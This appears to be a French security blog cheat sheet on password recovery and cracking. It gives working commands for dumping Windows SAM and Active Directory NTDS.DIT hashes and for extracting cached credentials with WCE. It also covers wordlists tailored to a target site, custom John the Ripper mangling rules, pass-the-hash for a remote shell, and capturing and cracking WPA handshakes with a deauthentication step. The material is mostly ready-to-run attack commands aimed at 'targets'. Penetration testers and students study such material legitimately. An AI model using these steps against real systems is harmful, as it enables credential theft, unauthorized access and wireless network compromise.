Cracking de password – Fiche Memo
|En ce joyeux début d’avril, voici une petite fiche mémo sur les différentes méthodes de recherche et cracking de mot de passe. Ainsi sont référencés la récupération et la création de dictionnaire, la modification de règles John, le fameux “Passing The Hash”, le cracking de clé SSH et le cracking WEP/WPA (que tout le monde connait mais c’est une fiche mémo donc…)
Récupération de mot de passe Windows
“Ouais et pourquoi tu fais que Windows ??!!” Bah parce que c’est vachement moins simple que de faire un cat /etc/shadow.
Récupération dans la base SAM
En utilisant PWDump7 :
./pwdump7.exe
En utilisant fgdump :
./fgdump.exe
En utilisant samdump (et le petit tuto complet sur ce même blog) :
#>mount /mnt/windows #>cd /mnt/windows/WINDOWS/system32/config/ #>cp SAM SYSTEM /pentest/ #>cd /pentest/ #>bkhive SYSTEM hive.txt #>samdump2 SAM hive.txt
Récupération sur un Active Directory
Vous pourrez trouver la base de mots de passe sur %SystemRoot%\ntds\NTDS.DIT.
Une fois récupéré, utilisez libesedb :
#>cd /mnt/windows/WINDOWS/system32/config/ #>cp SYSTEM ntds/NTDS.DIT /pentest/ #>esedbexport -l /tmp/esedbexport.log /pentest/ntds.dit
Puis utilisez NTDSExtract :
#>python dsusers.py /pentest/ntds.dit.export/datatable.3 \ /pentest/ntds.dit.export/link_table.5 \ --passwordhashes SYSTEM --passwordhistory SYSTEM \ --certificates --supplcreds SYSTEM \ --membership > /tmp/ntds.dit.output #>python ntdstopwdump.py /tmp/ntds.dit.output
Ou alors il y a Quarks, le TOUT en un !!!
Récupération dans le cache Windows
Windows Credential Editor est un outil de sécurité qui permet, entre autre, de récupérer les NTLM stockés en clair dans le cache Windows…plutôt intéressant.
./wce.exe -w
Création de Dictionnaire
Pour éviter de passer 268 jours à faire du brute force, il est impératif de passer par cette étape de pré-calcul. Nous allons, ici, récupérer le maximum de listes de mots qui pourraient être employés par nos cibles comme :
- Les mots de passe par défaut des éditeurs : admin, password, huawei, default,…
- Les noms de star de cinéma ou de films
- etc.
Ensuite, nous les dériverons en fonction de patterns connus :
- En ajoutant des chiffres à la fin : admin1, password1, huawei12, default2014
- En jouant avec les majuscule et les remplacement de caractères : @dmin1, P@ssword2, …
Les dicos
Alors, tout ça c’est bien gentil mais je les récupère où mes dicos ??
Sur Kali :
#>cd /usr/share/wordlists/ #>john --wordlists=rockyou.txt mon_fichier_hash.txt
Sur le net, faites vous plaisir avec google ! Par exemple là ou là.
Cewl
Si vous ne trouvez pas de liste adaptée, vous pouvez toujours utiliser Cewl [coule] pour générer des listes personnalisées de mots . Alors que fait Cewl ?? Et bien c’est un mini-spider qui va chercher sur une page (voir même un site) , en fonction de vos critères, tous les mots pouvant faire partie d’un dictionnaire…ouais il est comme ça cewl !
#### Ici nous cherchons juste sur le site avec une profondeur de 2 clic #### des mots d'au moins 4 caractères #>cewl -w /tmp/password.lst -m 4 -d 2 http://www.site_de_votre_cible.com/
John the ripper
Ok donc on a nos listes de mots, génial ! Maintenant, nous mettons rarement un mot tel quel, on essaye toujours de le complexifier en ajoutant des sigles ou des caractères alpha-numériques. Heureusement John est là pour nous aider !
Alors, vous lirez, mais il y a déjà beaucoup de dérivations prédéfinies. Je ne mettrais donc que quelques exemples personnels.
#>cd /etc/john/ #vim john.conf ... #WordList Mode rules [List.Rules:Wordlist] ... #J'ajoute 2 chiffres à la fin $[0-9]$[0-9] #J'ajoute 1 chiffre et 1 caractère '$' ou '.' ou '_' ou '!' $[0-9]$[$._!] #Je met la première en majuscule, ajoute 1 chiffre et 1 car spécial à la fin #et je remplace les 'a' par des @ c $[0-9]$[$._!?%] sa@ #On tente en 133T sL1 sE3 sA4 sB8 sS5 sT7 sI! sG6 sH# sO0 sYj sC( ... #>john --wordlist=/tmp/password.lst -rules -stdout > /tmp/mangle #>john --wordlist=/tmp/mangle mon_fichier_hash.txt
Petit Crunch
Vous pouvez également utiliser Crunch pour créer votre liste de password… Assurez vous d’avoir beaucoup d’espace disque. Un article a déjà été écrit sur ce merveilleux site par 0x0ff, je vous mets donc le lien.
Rainbow Table
Le petit plus, au lieu d’utiliser des listes de mots, c’est la rainbow table ! Comme RainbowCrack qui est un très bon outil, en vous conseillant de l’installer avec l’accélération GPU. Vous pouvez aussi carrément tester votre hash online. Les connaisseurs d’offsec connaissent aussi certainement leur cracker.
Le PTH
L’idée dans la technique “passing the hash” ou PTH est :
Si je ne peux pas te cracker…bah je vais t’utiliser tel quel tiens!…ça t’apprendra…
Il faudra évidemment installer les outils avec:
#>apt-get install passing-the-hash
Un petit exemple pour utiliser un pth-client :
#>export SMBHASH="your:hash"
##Dans <commande> c'est cmd pour avoir un terminal
#>pth-winexe -U Administrator% //IPcible <commande>
Cracking SSH
A la suite d’une faille sur les librairies OpenSSL, le prng a été prouvé faible permettant, sur certaines versions, de lancer un crack de clés “faibles”. L’exploit est dispo ici : L’expoit.
Le fichier de clés était disponible ici : Les clés rsa
Cracking WEP/WPA
Alors nous commencerons par une petite vidéo :
https://www.youtube.com/watch?v=4TKQKIvSDpk
Et le résumé de cette vidéo :
###Génération de l'interface de monitoring #>airmon-ng start wlan0 ### Identification du peer cible (channel, bssid, etc.) #>airodump-ng mon0 ### Récupération de Trace (laissez tourner un moment quand même) #>airodump-ng -c <channel> --bssid <B:S:S:I:D> -w wpa --ivs mon0 ## En parrallèle déconnecté le client afin qu'il rejoue ## ses phases d'authentification #>airplay-ng -0 5 -a <B:S:S:I:D> -c <mac:c:l:i:ent> mon0 ### Crack en fonction des traces #>aircrack-ng -w /tmp/password.lst wpa*.cap ...Done !
En cas de problème, vous pouvez toujours vous référer aux pages officielles. Ou consulter le précédent article d’0x0ff sur le cracking WEP.